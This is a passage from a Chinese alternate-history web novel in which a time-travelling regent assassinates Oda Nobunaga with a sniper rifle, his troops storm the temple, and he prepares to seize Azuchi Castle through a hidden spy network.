“我不管你们用什么方法总之在我的枪声响起之后。” “我绝不希望看到任何一个喘气的活物从那座寺庙里逃出来!” “明白了吗?!” 他的声音冰冷得不带一丝一毫的感情。 仿佛他下达的不是一道简单的军事命令。 而是一道来自于九幽地狱的死亡审判! “是!” 岳飞和伊丽莎白看着他那在月光之下显得格外的冰冷和肃杀的侧脸。 心中都是猛地一凛! 他们知道王爷这是要动真格的了。 他们再也不敢有任何的犹豫和迟疑。 立刻领命而去。 很快二百名来自于东西方的顶尖杀手。 便如同融入了黑夜的两道无声的鬼影。 悄无声-息地向着那座死亡的寺庙缓缓地包围了过去。 而林臻则是一个人,静静地趴在那块冰冷的岩石之上。 他的眼睛一眨不眨地,死死地贴在那冰冷的光学瞄准镜上。 他的食指也缓缓地搭在了那冰冷的扳机之上。 他的呼吸在这一刻变得无比的悠长和绵密。 整个人仿佛都与手中那把冰冷的死亡狙击枪。 和这片死寂的黑暗的森林。 彻底地融为了一体。 他在等。 等一个最佳的出手的时机。 一个能让他一击致命的绝杀的机会! 禅房之内。 织田信长依旧是跪坐在佛像之前。 他那张充满了霸道和威严的脸上写满了近乎病态的疯狂和亢奋。 他仿佛已经看到自己君临天下称霸世界的辉煌未来。 他丝毫没有察觉到。 在八百米之外的那片黑暗的森林里。 一双来自于另一个世界的冰冷的死亡之眼。 早已将他牢牢地锁定。 时间在这一刻仿佛彻底地凝固了。 整个世界都只剩下了,林臻那沉稳得如同山岳一般的心跳声。 和那冰冷的瞄准镜中,织田信长那张近在咫尺的狰狞的丑陋的脸。 就是现在! 林臻的眼中瞬间迸发出了骇人的冰冷的滔天杀意! 他那搭在扳机之上的食指再也没有任何的犹豫! 狠狠地扣了下去! “砰——” 一声沉闷得几乎微不可闻的轻响! 一颗由特种合金所打造而成的12.7毫米口径的穿甲燃烧弹! 便以一种超越了声音和思维的恐怖速度! 划破了那死寂的夜空! 如同一道来自于死神的黑色的死亡闪电! 精准无比地射向了,那个还在做着春秋大梦的倭国霸主! 织田信长甚至都还没来得及反应过来,到底发生了什么。 他只觉得自己的胸口猛地一凉! 然后一股无法用任何语言来形容的,剧烈的撕裂般的恐怖剧痛! 便从他的胸口轰然炸开! 他下意识地低下头。 正好看到了自己那被轰出了一个碗口大小的狰狞的血色窟窿的胸膛! 和那正在疯狂地往外喷涌的鲜血和破碎的内脏! “呃……” 他的喉咙里发出了一声不似人声的痛苦的嘶鸣。 那双充满了野心和欲望的眼睛瞪得比铜铃还大! 那眼神里充满了难以置信的震惊、茫然和那深入骨髓的冰冷的恐惧! 他想不明白。 他真的想不明白。 为什么? 为什么会这样? 他明明是在防守最严密的秘密据点里。 他明明是天命所归的天下人! 他明明马上就要君临天下了! 为什么…… 然而他那充满了不甘和疑问的思绪。 却在下一秒被一股更加恐怖的炽热的毁灭力量所彻底地吞噬! “轰——” 那颗钻入了他体内的穿甲燃烧弹在延迟了零点一秒之后。 轰然引爆! 一团橘红色的炽热的小型的蘑菇云! 从他的胸口冲天而起! 将他连同他那所有的野心和欲望。 都在这一瞬间烧成了一具焦黑的不成人形的丑陋的尸体! 第1236章 虚无之石 枪声和爆炸声像一道命令。 瞬间打破了本能寺那死一般的寂静。 “杀!” “冲进去!一个不留!” 岳飞和伊丽莎白那冰冷的声音,同时在寺庙外的黑暗森林里响起。 下一刻,两百名早已是蓄势待发的,来自于东西方的顶尖杀手,如同两道黑色的死亡潮水,从左右两个方向,悄无声息地涌入了这座,早已被死亡所笼罩的千年古刹! “敌袭!有敌袭!” “保护主公!” 寺庙里,那不到五十名的亲卫武士,也终于从那突如其来的惊变之中反应了过来。 他们嘶吼着,咆哮着,拔出了腰间的武士刀,悍不畏死地迎向了那两股从黑暗中涌来的冰冷的死亡洪流。 然而他们的抵抗,是那么的苍白和无力。 “砰!砰!砰!” 迎接他们的,不是刀剑相交的碰撞声。 而是一阵阵密集的充满了死亡节奏的,燧发枪的轰鸣! 在神机营神枪手们那精准无比的点射之下。 在海盗精英们那刁钻狠辣的暗杀技巧面前。 这些以悍不畏死而著称的,所谓的精锐武士,就像是一群待宰的羔羊。 他们的武士刀,甚至都还没能碰到敌人的衣角。 他们的身体,便已经被那呼啸而来的铅弹,给打成了一个个血肉模糊的筛子。 惨叫声,哀嚎声此起彼伏。 但很快又都归于了沉寂。 不到一炷香的时间。 战斗,便已经结束了。 整个本能寺,除了林臻和他的人之外,再也找不到任何一个还能站着的活物。 八百米外那块冰冷的岩石之上。 林臻缓缓地,从那冰冷的光学瞄准镜前抬起了头。 他那张隐藏在黑色面巾之下的脸上,没有任何的表情。 那双深邃的眼睛里,也同样是古井不波。 仿佛刚才那个,由他亲手导演的,足以改变整个世界格局的,惊天刺杀,只不过是一件,微不足道的随手而为的小事。 他的心里,只有一个念头。 “虚无之石”。 织田信长那个疯子身上也有一颗。 那东西一旦被引爆,方圆十里寸草不生。 自己刚才那一枪,虽然快到了极致也狠到了极致。 但到底,有没有在那千分之一息的时间之内,阻止那个疯子,按下那个同归于尽的按钮? 他不知道。 这才是他这次计划中,最大的也是唯一的赌博。 赌的就是自己的枪,比那个疯子的念头更快! 现在看来他似乎是赌赢了。 “王爷!” 岳飞和伊丽莎白,快步地,走到了他的面前。 他们两个人的脸上,都还残留着未曾散去的浓烈的杀气。 但那双看着林臻的眼睛里,却充满了比之前任何时候,都更加强烈的敬畏和狂热! 尤其是岳飞。 他现在是真的彻彻底底地服了。 八百米外取上将首级,如探囊取物! 这是何等恐怖的神仙手段?! 别说是见了,他就是连听都未曾听说过! 他现在甚至都开始怀疑。 他们这位摄政王殿下,到底还是不是凡人? 或许他根本就是那传说中的九天神将下凡,来辅佐他们大乾一统天下的! “都解决干净了?”林臻的声音,将两个还处在巨大震惊之中的属下,拉回了现实。 “回王爷的话,都已解决干净!”岳飞连忙躬身回答道,“织田信长所带来的四十七名亲卫武士,已全部就地格杀,无一漏网!” “很好。”林臻点了点头,然后从岩石上一跃而下。 “走,带我去看看。” 他说着,便自顾自地,向着那座,依旧是灯火通明,但却已经,充满了浓烈血腥味的,死亡禅房,大步流星地走了过去。 …… 与此同时。 数海里之外,那艘通体漆黑的,旗舰“黑珍珠号”之上。 慕容嫣一个人,静静地,站在那无比奢华的船长室里。 她那双美丽的凤眸,透过那巨大的,由一整块水晶打磨而成的舷窗,遥遥地望着远处那片,漆黑如墨的倭国大陆。 她的心里充满了前所未有的紧张和不安。 虽然她对自己的夫君,有着近乎盲目的绝对信任。 但她也同样知道这次的行动,到底有多么的凶险。 那可是斩首行动啊。 那可是在数万敌军的环伺之下,去刺杀他们的最高统帅! 稍有不慎,便是万劫不复的下场! 她下意识地将一只手,轻轻地放在了自己那已经微微隆起的小腹之上。 感受着那个正在茁壮成长的小生命那强劲有力的心跳。 她那颗慌乱不已的心,才稍稍地安定了下来。 她今日依旧是穿着那身作为她唯一寝衣的神凤降世裙。 极致玄黑的苏锦底料,在这充满了朗姆酒香和淡淡海腥味的船长室里,显得是那么的格格不入,却又充满了,一种令人心醉的别样诱惑。 那长达五丈的墨金色苏锦拖尾,像是黑色的潮水一般,铺满了整个船长室的地板。 那只用真金线绣成的擎天巨凤,凤目圆睁,栩栩如生。 仿佛也感受到了,自己主人的紧张和不安。 那双金色的凤目之中,充满了警惕和担忧。 它在与它的主人一起,静静地,等待着那个,能决定他们所有人命运的,最终结果。 当林臻带着岳飞和伊丽莎白,走进那间禅房的时候。 饶是岳飞和伊丽莎白这种,在尸山血海里,摸爬滚打了这么多年的狠人。 在看到眼前这,如同地狱一般的,血腥景象时。 也还是忍不住,倒吸了一口凉气。 整个禅房,早已是一片狼藉。 墙壁上,地板上,佛像上到处都是被鲜血和碎肉所染红的触目惊心的痕迹。 空气中弥漫着一股血腥味,火药味,和烤肉味,混合在一起的令人作呕的诡异气味。 而那具,早已是,不成人形的,焦黑尸体。 就那么,静静地,躺在房间的正中央。 像一堆,毫无价值的,垃圾。 “我的上帝……”伊丽莎白看着那具,已经完全看不出人形的尸体,那张美艳的俏脸上,全是难以置信的,震惊和骇然,“这……这就是,您那把……那把武器的威力?” 她实在想不出,该用什么样的词汇,来形容自己此刻的心情。 她纵横四海这么多年,见识过各种各样,威力强大的火器。 甚至她自己的“黑珍珠号”上就装备着,这个时代,最顶级的三十六磅舰载重炮! 可即便是那足以在一瞬间将一艘三级战列舰,都轰成碎片的恐怖重炮。 也绝对造不成眼前这种,诡异而又恐怖的毁灭效果! 这已经不是武器了。 这是魔法! 是来自于,地狱深渊的死亡魔法! 第1237章 一将无能,累死三军 岳飞没有说话。 他只是一脸复杂地,看着那具死状凄惨的焦尸。 那张古铜色的刚毅脸庞之上除了震惊,更多的是一种,发自灵魂深处的深深的忌惮。 他现在终于有些明白。 为什么王爷敢用区区五万之众,就来远征这拥有百万大军的庞大帝国了。 也终于明白为什么王爷,从始至终都表现得,那么的云淡风轻,智珠在握了。 因为在王爷这种近乎于“神”的,绝对力量面前。 所谓的千军万马。 所谓的阴谋诡计。 都不过是一个可笑的,不堪一击的笑话罢了。 “一将无能,累死三军。” 林臻看着那具,早已冰冷的焦尸,淡淡地说道。 “反之亦然。” “只要能用最快的速度,最直接的方式干掉他们的首脑。” “那所谓的百万大军,也不过是一群群龙无首的乌合之众罢了。” 他一边说着,一边缓缓地蹲下了身子。 然后不顾那刺鼻的焦臭味,和那令人作呕的血污。 伸出手在那堆还冒着丝丝黑烟的,焦炭里,仔细地翻找了起来。 岳飞和伊丽莎白,都有些不解地看着他。 他们想不明白,都到这个时候了,王爷还在这堆烂肉里找什么? 很快林臻的手停了下来。 他从那堆黑色的焦炭之中拈起了一样东西。 那是一颗,只有拇指大小的通体漆黑,但却依旧在烛光下,闪烁着诡异红芒的菱形水晶! 正是那颗来自于“虚无党”的终极控制武器。 “虚无之石”! 当岳飞和伊丽莎白,看到这颗黑色水晶的瞬间。 他们那两张还带着震惊和不解的脸上,瞬间血色尽失! 一股冰冷刺骨的死亡寒意,从他们的脚底板直冲天灵盖! 他们这才猛地想起来! 那个被他们忽略了的最致命的问题! 这东西会爆炸! 一旦爆炸方圆十里,寸草不生! 而他们现在距离这颗,行走的超级炸弹,只有不到三步的距离! “王……王爷!小心!”岳飞的声音都因为极度的恐惧,而变得尖锐和扭曲了起来。 伊丽莎白更是下意识地,就想转身逃跑。 然而林臻的脸上,却是没有半分的慌乱。 他只是静静地把玩着手中那颗,仿佛蕴含着无穷毁灭力量的黑色水晶。 然后用一种高深莫测的平淡语气缓缓地说道。 “放心。” “它现在很安全。” “一个已经失去了所有生命特征的宿主。” “和一个已经切断了,所有能量共鸣的量子纠缠。” “是无法再引爆这颗,小小的玻璃珠的。” 他说着便随手将那颗足以让整个世界,都为之疯狂和恐惧的“虚无之石”,揣进了自己的怀里。 仿佛那不是什么,可以毁灭一切的超级武器。 而只是一个随手捡来的,不值钱的小玩意儿。 岳飞和伊丽莎白都彻底傻了。 他们呆呆地看着林臻,感觉自己的脑子嗡嗡作响,一片空白。 量子纠缠? 能量共鸣? 这都什么跟什么啊? 王爷说的每一个字,他们都能听懂。 但为什么连在一起,他们就一个字都听不明白了呢? 他们第一次发自灵魂深处地,感觉到了一种名为“代沟”的,深深的无力感和挫败感。 一种面对着一个与自己完全不在同一个维度之上,思考问题的超级妖孽时,所产生的发自灵魂深处的,仰望和臣服! “行了,别在这儿傻站着了。”林臻看着他们那副,活见鬼的表情,有些好笑地摇了摇头。 “派人把这里仔细地搜查一遍。” “任何有价值的文件,信件,地图,全都给我带回去。” “另外,”他转头,看向了寺庙之外,那片漆黑的森林,“把我们那位‘超级带路党’伊达政宗先生请进来。” “让他来亲眼见证一下,他那位‘天下无敌’的主公最后的‘辉煌’。” …… 当独眼龙伊达政宗,被两名“夜枭”死士半拖半拽地,带进这间人间地狱一般的禅房时。 他整个人都傻了。 当他看到那具躺在地上,早已被烧成了焦炭的不成人形的尸体时。 他那仅剩的一只眼睛猛地瞪得滚圆! 一股冰冷刺骨的寒意,瞬间席卷了他的全身! 虽然那具尸体,已经完全看不出原来的模样。 但是那尸体身上,那件还没有被完全烧毁的白色寝衣的残片。 和他腰那把象征着“天下人”无上权力的,名刀“压切长谷部”的刀鞘。 却让他在第一时间就认出了,这具焦尸的真实身份! 织田信长! 第六天魔王! 那个在他眼中如神似魔,战无不胜,攻无不克的绝对霸主! 竟然…… 竟然就这么死了?! 而且还死得如此的凄惨如此的,窝囊?! “噗通”一声。 伊达政宗双腿一软,整个人都瘫倒在了地上。 他那张总是充满了桀骜不驯的脸上,此刻只剩下了无尽的深入骨髓的恐惧和骇然! 他完了。 他知道自己,彻底地完了。 他最大的靠山倒了。 而他这个背叛了主君的无耻叛徒。 也必将被眼前这个比魔鬼还要更加可怕,更加深不可测的东方王爷给生吞活剥,挫骨扬灰! “伊达政宗先生。” 就在他心如死灰,准备迎接自己那悲惨的命运的审判时。 林臻那不带一丝感情的冰冷声音,却突然在他的头顶缓缓响起。 “你现在还有最后一个活命的机会。” “告诉我进出安土城的所有口令和信物。” “然后带我们进去。” “否则……” 林臻没有把话说完。 但他那冰冷刺骨的森然杀意。 却已经像一座无形的万丈高山,狠狠地压在了伊达政宗的上! 让他连一丝一毫的,反抗的念头都生不出来! 夜色更深了。 “黑珍珠号”的船长室里依旧是灯火通明。 慕容嫣一个人,静静地坐在那张由巨大鲸鱼骨雕刻而成的华丽座椅上。 她那双美丽的凤眸一眨不眨地盯着桌案上那副巨大的倭国全图。 她的心里乱成了一团麻。 时间已经过去一个多时辰了。 夫君他还没有回来。 本能寺那边也依旧是没有任何的消息传来。 他……他不会出什么事了吧? 这个念头,像一条毒蛇狠狠地咬噬着她的心脏。 让她坐立不安心急如焚。 不! 不会的! 夫君他算无遗策,神通广大。 区区一个织田信长,又怎么可能是他的对手? 他一定会像以前的每一次一样。 带着胜利和惊喜凯旋而归的。 她深吸一口气,强行将心中的不安和焦虑压了下去。 她下意识地伸出手,轻轻地抚摸着自己那微微隆起的小腹。 感受着那个与她血脉相连的小生命那沉稳而又有力的心跳。 她那颗慌乱的心才又一次稍稍安定了下来。 第1238章 巴雷特神威 她今日依旧是穿着那身作为她唯一寝衣的神凤降世裙。 那极致玄黑的苏锦底料在这安静而又奢华的船长室里仿佛变成了一片深邃而又压抑的无边黑夜。 那长达五丈的墨金色苏锦拖尾从那华丽的座椅上,倾泻而下,像一团慵懒而又华贵的黑色云朵铺满了整个地板。 那只用真金线绣成的擎天巨凤凤目圆睁充满了警惕。 仿佛在与它的主人一起焦急地等待着那个男人的归来。 “陛下。” 就在这时鬼影那如同幽灵一般的声音突然在门外响起。 慕容嫣的身体猛地一僵。 那颗刚刚才稍稍安定下来的心又一次提到了嗓子眼! “进……进来。”她的声音因为过度的紧张,而微微地有些颤抖。 鬼影推门而入。 他单膝跪地,声音里带着一丝难以掩饰的激动和喜悦。 “启禀陛下!” “王爷得手了!” “织田信长已于半个时辰之前,被王爷亲手斩杀于本能寺!” “我方无一伤亡!” 轰! 这短短的几句话像一道无形的惊雷。 瞬间劈在了慕容嫣的天灵盖上! 她整个人都傻了。 她呆呆地看着鬼影,那双美丽的凤眸之中充满了难以置信的狂喜和骇然! 成……成功了? 夫君他真的成功了?! 他真的在数万敌军的环伺之下,将那个不可一世的倭国霸主给……给斩首了?! 而且还是无一伤亡?! 这……这怎么可能?! 这简直就是神迹! 一股前所未有的巨大的幸福感和自豪感,瞬间席卷了她的全身! 让她那因为怀孕而略显圆润的俏脸之上,绽放出了一抹足以让天地都为之失色的绝美的笑容! “好!好!好!” 她一连说了三个“好”字那双美丽的凤眸之中已是泪光闪烁。 她就知道! 她就知道她的男人,是这个世界上最棒的,最无所不能的盖世英雄! “王爷呢?”她强行压下心中的激动连忙问道,“王爷他现在何处?可曾受伤?” “回陛下的话,王爷一切安好。”鬼影恭敬地回答道,“王爷此刻正在整合人马,准备执行下一步的计划。” “下一步的计划?”慕容嫣闻言微微一愣。 织田信长不是已经死了吗? 那这场战争不就已经结束了吗? 还有什么下一步的计划? 鬼影看着她那充满了疑惑的绝美脸庞,嘴角不由得勾起了一抹充满了崇拜和狂热的诡异笑容。 “王爷的下一步计划是……” “——攻占安土城!” …… 本能寺禅房之内。 林臻看着那早已是被吓得屁滚尿流,瘫软如泥的独眼龙伊达政宗。 那双深邃的眼睛里,闪过了一丝冰冷的不屑的鄙夷。 “看来伊达政宗先生是选择第二条路了。” 他一边说着,一边缓缓地从怀中取出了那把造型奇特的,加装了消音器的特制燧发手枪。 然后将那冰冷的黑洞洞的枪口对准了伊达政宗的脑袋。 “不!不要!我说!我都说!” 感受到那冰冷刺骨的死亡威胁。 伊达政宗那早已是被恐惧,所彻底击溃的心理防线,轰然崩塌! 他像一个输光了所有筹码的赌徒,用一种充满了绝望和哀求的声音嘶吼道。 “口令是‘天下布武’!信物是主公他从不离身的那把‘兰奢待’的扇子!” “王爷!饶命啊!王爷!” “我……我愿意带您进去!我愿意为您做牛做马当一条最听话的狗!” “只求您饶我一条狗命啊!” 他一边说着,一边像一条真正的狗一样,跪在地上拼命地给林臻磕着头。 那卑微的毫无尊严的模样。 与他之前那桀骜不驯的独眼龙形象,简直是判若两人。 “早这样不就好了吗?” 林臻看着他那副丑陋的嘴脸,有些好笑地摇了摇头。 他收起了手枪,然后对着一旁的岳飞和伊丽莎白淡淡地说道。 “准备一下吧。” “我们该去接收我们这次东征,最大的战利品了。” “王……王爷……”岳飞看着林臻,那张古铜色的刚毅脸庞之上,充满了深深的担忧和不解,“您……您真的打算就这么闯进去?” “那……那可是安土城啊!” “里面可是有五万装备了西式火器的精锐啊!” “我们……我们这点人就这么进去是不是太……太冒险了?” 伊丽莎白也同样是一脸凝重地看着林臻。 她虽然对林臻的“神仙操作”已经有了一定的心理准备。 但她还是觉得这个计划实在是太疯狂了! 那可是龙潭虎穴啊! 就凭他们这区区两百人,外加一个随时可能反水的带路党。 就想兵不血刃地拿下那座,号称“天下第一坚城”的超级战争堡垒? 这已经不是在冒险了。 这简直就是在赤裸裸地送死! “谁说我们只有两百人了?” 然而面对着他们那充满了担忧和不解的质问。 林臻的脸上却是没有半分的动容。 他只是静静地看着他们,嘴角缓缓地勾起了一抹同样是高深莫测的笑容。 然后他缓缓地从怀中又取出了一样东西。 那是一枚通体漆黑,雕刻着一只栩栩如生的三足乌鸦的古朴令牌。 正是那枚来自于千古第一方士徐福的信物—— ——“八咫乌”! “你们是不是忘了。” “我们在这片陌生的土地上。” “可是有‘朋友’的啊。” 林臻的声音充满了一种让人捉摸不透的神秘和自信。 “一群比伊达政宗这个‘带路党’还要更加可靠也更加强大的……” “超级带路党!” 当林臻拿出那枚,雕刻着三足乌鸦的黑色令牌时,岳飞和伊丽莎白都愣住了。 他们看着那枚平平无奇,甚至有些粗糙的令牌,脑子里全是问号。 这是什么东西? 一个新的秘密武器?还是某种他们不理解的东方符咒? 王爷的意思是,靠着这么个小牌子,就能让安土城里那五万大军乖乖投降? 这也太扯了吧? “王爷这……这是?”岳飞实在是忍不住了,他指着那枚令牌小心翼翼地问道。 他现在对林臻拿出来的任何东西,都抱着十二分的敬畏,天知道这又是什么超出他理解范围的神仙玩意儿。 伊丽莎白也紧紧盯着那枚令牌,她那双蓝宝石般的眼睛里充满了好奇和审视。 她不相信什么神神鬼鬼的东西,她只相信火炮和金钱。 但在见识了林臻那把能把人轰成焦炭的“魔鬼火枪”之后,她对这个东方王爷的认知已经彻底颠覆了。 说不定这个小牌子真有什么她不知道的魔力。 “一个敲门砖。”林臻淡淡地说道,将“八咫乌”令牌收回了怀中。 他没有过多解释,因为有些事情解释起来太麻烦,还不如让他们亲眼看看来得直接。 “伊达政宗,”林臻的目光转向那个还瘫在地上的独眼龙,“你负责带路。把我们安全地带到安土城的城下町。” 第1239章 八咫乌 “岳飞,伊丽莎白,”他又看向自己的两员大将,“你们两个各自挑选二十名最精锐的弟兄,换上夜行衣跟我一起行动。剩下的人由鬼影统领,在外围接应封锁所有消息。” “是王爷!”岳飞和伊丽莎白虽然心里还是犯嘀咕,但军令如山,他们没有丝毫犹豫立刻躬身领命。 很快,一支由四十三人组成的小小的突击队,便准备就绪。 在伊达政宗这个被吓破了胆的“带路党”的引领下。 他们如同融入黑夜的幽灵,悄无声息地消失在了本能寺外的茫茫夜色之中。 …… 安土城这座被誉为“天下第一坚城”的超级战争堡垒。 此刻依旧是灯火通明戒备森严。 高大的城墙之上,一队队手持火绳枪的足轻,正在一丝不苟地来回巡逻。 城下町的街道上也到处都是提着灯笼,四处游弋的武士。 整个安土城都处在一种外松内紧的高度戒备状态。 然而他们做梦也想不到。 他们那已经被神话了的所谓“固若金汤”的防御体系。 在林臻这群不按常理出牌的“天外来客”面前简直是形同虚设。 在伊达政宗的带领下,他们轻而易举地就绕过了所有的明哨暗卡。 来到了一座位于城下町最偏僻角落的,看起来毫不起眼的小小的酒馆门前。 酒馆的门紧紧地关着。 里面黑灯瞎火没有一丝一毫的生息。 仿佛早已是打烊多时。 “王……王爷……”伊达政宗看着那紧闭的大门声音里带着一丝哭腔,“就……就是这里了。” “您……您要找的‘朋友’就在里面?”岳飞和伊丽莎白都用一种极其怀疑的眼神,打量着这座破败的酒馆。 他们实在想不明白,这种鸟不拉屎的地方,能有什么比五万大军还厉害的“超级带路党”? 王爷……该不会是被人给骗了吧? 然而林臻却是没有理会他们的怀疑。 他只是静静地走到了那扇破旧的木门前。 然后伸出手,用一种极其独特的三长两短的节奏轻轻地敲了敲门。 “笃笃笃。” “笃笃。” 敲门声在死寂的夜里显得格外的清晰。 然而酒馆之内却依旧是没有任何的回应。 岳飞和伊丽莎白的眉头都皱了起来。 他们下意识地握紧了手中的武器,眼神也变得警惕了起来。 然而林臻的脸上却依旧是那副云淡风轻的淡定模样。 他仿佛一点都不担心这里面会有什么埋伏和陷阱。 他又一次伸出手用同样的节奏敲了敲门。 “吱呀——” 这一次那扇破旧的木门,终于缓缓地打开了一条缝。 一个同样是穿着黑色夜行衣,脸上蒙着面巾,只露出一双冰冷而又警惕的眼睛的精悍男子,出现在了门后。 他的目光如同鹰隼一般,在林臻等人的身上来回扫视着。 当他的目光落在伊达政宗那张充满了恐惧和不安的脸上时。 那双冰冷的眼睛里,闪过了一丝毫不掩饰的鄙夷和杀意。 然而当他的目光最终落在林臻身上时。 却是微微一愣。 因为他从眼前这个同样是蒙着面的年轻男子的身上。 感受到了一种他从未见过的强大而又神秘的独特气场。 那种感觉就好像他面对的不是一个凡人。 而是一个来自于更高维度之上的无上神明! “你们是什么人?”他的声音沙哑而又冰冷充满了警惕和敌意。 林臻没有说话。 他只是缓缓地从怀中取出了那枚,雕刻着三足乌鸦的黑色令牌。 然后静静地举在了那个男子的面前。 当那个男子看到这枚令牌的瞬间。 他那双一直都是冰冷如铁的眼睛猛地瞪得滚圆! 那眼神里充满了比之前看到伊达政宗时,还要更加强烈百倍的,难以置信的震惊和骇然! “八……八咫乌?!” 他失声惊呼道,那声音里全是无法掩饰的激动和敬畏! 下一秒。 他做出了一个让岳飞和伊丽莎白都大跌眼镜的惊人举动。 他“噗通”一声单膝跪地! 然后用一种近乎于朝圣般的虔诚姿态,对着林臻恭恭敬敬地行了一个五体投地的大礼! “神武会甲贺组组头,藤林正保!” “恭迎‘神使’大人!” “属下不知神使大人大驾光临,有失远迎,罪该万死!” 他的声音虽然不大,但却充满了绝对的发自灵魂深处的忠诚和敬畏! 岳飞和伊丽莎白都彻底看傻了。 他们怎么也没想到王爷手中那枚,看起来平平无奇的小令牌,竟然有如此恐怖的魔力! 竟然能让一个看起来,就绝非等闲之辈的顶尖高手,纳头便拜,口称“神使”! 这……这到底是个什么情况?! 他们感觉自己这辈子所经历的,所有不可思议的事情加起来。 都远没有跟着王爷这短短几天所经历的,要来得更加的离奇和颠覆! “起来吧。”林臻淡淡地说道,那声音里听不出任何的情绪波动。 仿佛这一切都在他的意料之中。 “是,神使大人!” 藤林正保恭恭敬敬地从地上站了起来。 他看向林臻的眼神已经再也没有了之前的警惕和怀疑。 只剩下了无尽的狂热和崇拜! 因为他知道。 八咫乌是他们神武会最高权力的象征。 见此令如见他们那活了两千多年的神仙一般的老祖宗徐福亲临! 而能持有此令者普天之下只有一人! 那就是老祖宗预言中,那个能够带领他们战胜“天外邪魔”拯救这个世界的…… ——天命之人! “外面的情况如何了?”林臻看着他开门见山地问道。 “回神使大人的话,”藤林正保连忙回答道,“一切都已准备就绪。” “我们神武会安插在安土城中的所有暗子,都已全部激活。” “其中有三人已成功打入织田信长的核心决策层。” “一人是他的亲卫队长泷川一益。” “一人是他的首席谋臣明智光秀。” “还有一人则是负责掌管整个安土城粮草和军械的奉行,丹羽长秀。” “只要您一声令下,他们便会立刻在安土城中发动雷霆一击!” “届时里应外合,大事可成!” 藤林正保的这番话,让一旁的岳飞和伊丽莎白再一次听得是目瞪口呆,心神剧震! 他们怎么也没想到。 这个名不见经传的所谓的“神武会”。 竟然有如此恐怖的渗透能力! 竟然能将自己的暗子,安插到织田信长最核心的权力中枢之中! 亲卫队长! 首席谋臣! 后勤总管! 这任何一个都是足以左右整个战局的关键人物! 而现在这三个人竟然全都是他们的人?! 这……这还怎么输?! 这简直就是把胜利直接喂到了他们的嘴边啊! 他们现在终于明白。 为什么王爷敢说他们有比伊达政宗还要更加可靠,也更加强大的“超级带路党”了。 这哪里是带路党啊? 这分明就是直接把敌人的老巢给整个端了过来啊! 第1240章 你想不想取代他 “很好。” 林臻听完藤林正保的汇报,满意地点了点头。 徐福那个老狐狸果然没有让他失望。 这两千多年的布局,确实是深不可测,滴水不漏。 有了这么一张,几乎是覆盖了整个倭国高层的,庞大的情报和间谍网络。 别说是一个小小的安土城了。 就算是把整个倭国都给翻过来,也不过是时间问题罢了。 “神使大人,”藤林正保看着林臻,那双隐藏在面巾之下的眼睛里充满了请示的意味,“我们何时动手?” “不急。” 林臻却是缓缓地摇了摇头。 “哦?”藤林正保和一旁的岳飞、伊丽莎白都有些意外地看向了他。 现在万事俱备只欠东风。 不正是一鼓作气拿下安土城的最佳时机吗? 为什么还要等? “织田信长虽然死了。” 林臻的目光穿过那扇破旧的木门,落在了远处那座在夜色之中,如同匍匐的巨兽一般雄伟而又狰狞的安土城之上。 那双深邃的眼睛里,闪过了一丝旁人难以读懂的冰冷光芒。 “但是安土城里那五万大军还在。” “那些对他忠心耿耿的死忠之士也还在。” “我们现在若是贸然发动兵变。” “虽然有明智光秀,他们在内策应,最终也一定能够取得胜利。” “但也必然会引发一场惨烈的血腥的巷战。” “届时,死伤在所难免。” “而我们这次来倭国最主要的目的是什么?” 他转过头看了一眼身旁的岳飞和伊丽莎白。 “钱和人。” “没错。”林臻点了点头,“钱我们可以从那座银矿里取。” “但人,尤其是那些技艺高超的工匠,和那些悍不畏死的武士。” “却是死一个就少一个。” “他们都是我们大乾未来争霸天下,最宝贵的财富。” “本王可舍不得让他们就这么白白地,死在这种毫无意义的内耗之中。” 林臻的这番话让岳飞和伊丽莎白都听得是心中一凛。 他们这才猛然惊醒。 王爷的格局早已是跳出了一城一地的得失。 他所着眼的是整个天下的未来! 他要的不是一座被打烂了的残破的安土城。 也不是一群对他充满了仇恨和敌意的倭国降兵。 他要的是一个完整的可以立刻为他所用的战争机器! “那王爷您的意思是……”岳飞看着林臻,那张古铜色的刚毅脸庞之上充满了深深的敬佩和好奇。 他实在想不出在这种情况下,还有什么可以兵不血刃拿下安土城的万全之策。 “很简单。” 林臻的嘴角勾起了一抹冰冷的残忍的弧度。 “既然硬的不行。” “那我们就来软的。” “攻城为下。” “攻心为上。” 他说着,便转头看向了那个,从始至终都像一条死狗一样,瘫在地上的独眼龙伊达政宗。 “伊达政宗先生,”他的声音冰冷得不带一丝一毫的感情,“你的最后一次戴罪立功的机会到了。” …… 半个时辰后。 安土城那高大而又厚重的主城门缓缓地打开了。 一队由数十名武士所组成的小小的队伍,护送着一辆看起来平平无奇的马车,缓缓地驶入了城中。 守城的将领在看到为首的那名骑在马上的独眼龙武士时。 脸上露出了一丝恭敬而又谄媚的笑容。 “原来是伊达大人啊。” “这么晚了,您这是从哪儿回来啊?” 伊达政宗坐在马上,那张总是充满了桀骜不驯的脸上,此刻却是一片不正常的苍白。 他的眼神有些躲闪不敢,与那名守城将领对视。 “奉……奉主公之命外出办了点私事。”他的声音也有些干涩和沙哑。 “哦?原来是为主公办事啊。”那名守城将领闻言脸上的笑容更盛了,“那小人就不敢多加盘问了。” “伊达大人请!” 他说着便挥了挥手示意手下的士兵放行。 伊达政宗如蒙大赦,连忙一抖缰绳,便想带着身后的队伍快步地穿过城门。 然而就在这时。 一个冰冷的不带一丝感情的声音,却突然从他身后的那辆马车里缓缓地传了出来。 “等等。” 伊达政宗的身体猛地一僵。 那名守城将领也是微微一愣。 他有些好奇地看了一眼那辆毫不起眼的马车。 想不明白这里面坐的到底是什么人? 竟然敢用这种命令的口气跟伊达大人说话? 就在他百思不得其解的时候。 那辆马车的车帘被一只骨节分明白皙修长的手,缓缓地掀开了。 一个穿着一身黑色夜行衣,脸上蒙着一块黑色面巾,只露出一双如同星辰一般深邃而又明亮的眼睛的年轻男子。 出现在了所有人的面前。 正是林臻。 “你,”林臻的目光落在了那名守城将领的身上,淡淡地问道,“是柴田胜家的外甥?” 那名守城将领闻言,脸色猛地一变! 他一脸震惊地看着林臻,那眼神里充满了难以置信的骇然! 他……他怎么会知道?! 这可是他最大的秘密! 是他能在这派系林立,关系复杂的安土城中,立足的最大倚仗! 除了他和他的舅舅柴田胜家之外,这个世界上绝不可能有第三个人知道! 可眼前这个神秘的蒙面人…… 他到底是谁?! “你……你到底是什么人?!”他的声音因为极度的震惊和恐惧,而变得尖锐了起来。 林臻没有回答他的问题。 他只是静静地看着他,那双深邃的眼睛里,闪过了一丝如同魔鬼一般的冰冷光芒。 “织田信长死了。” 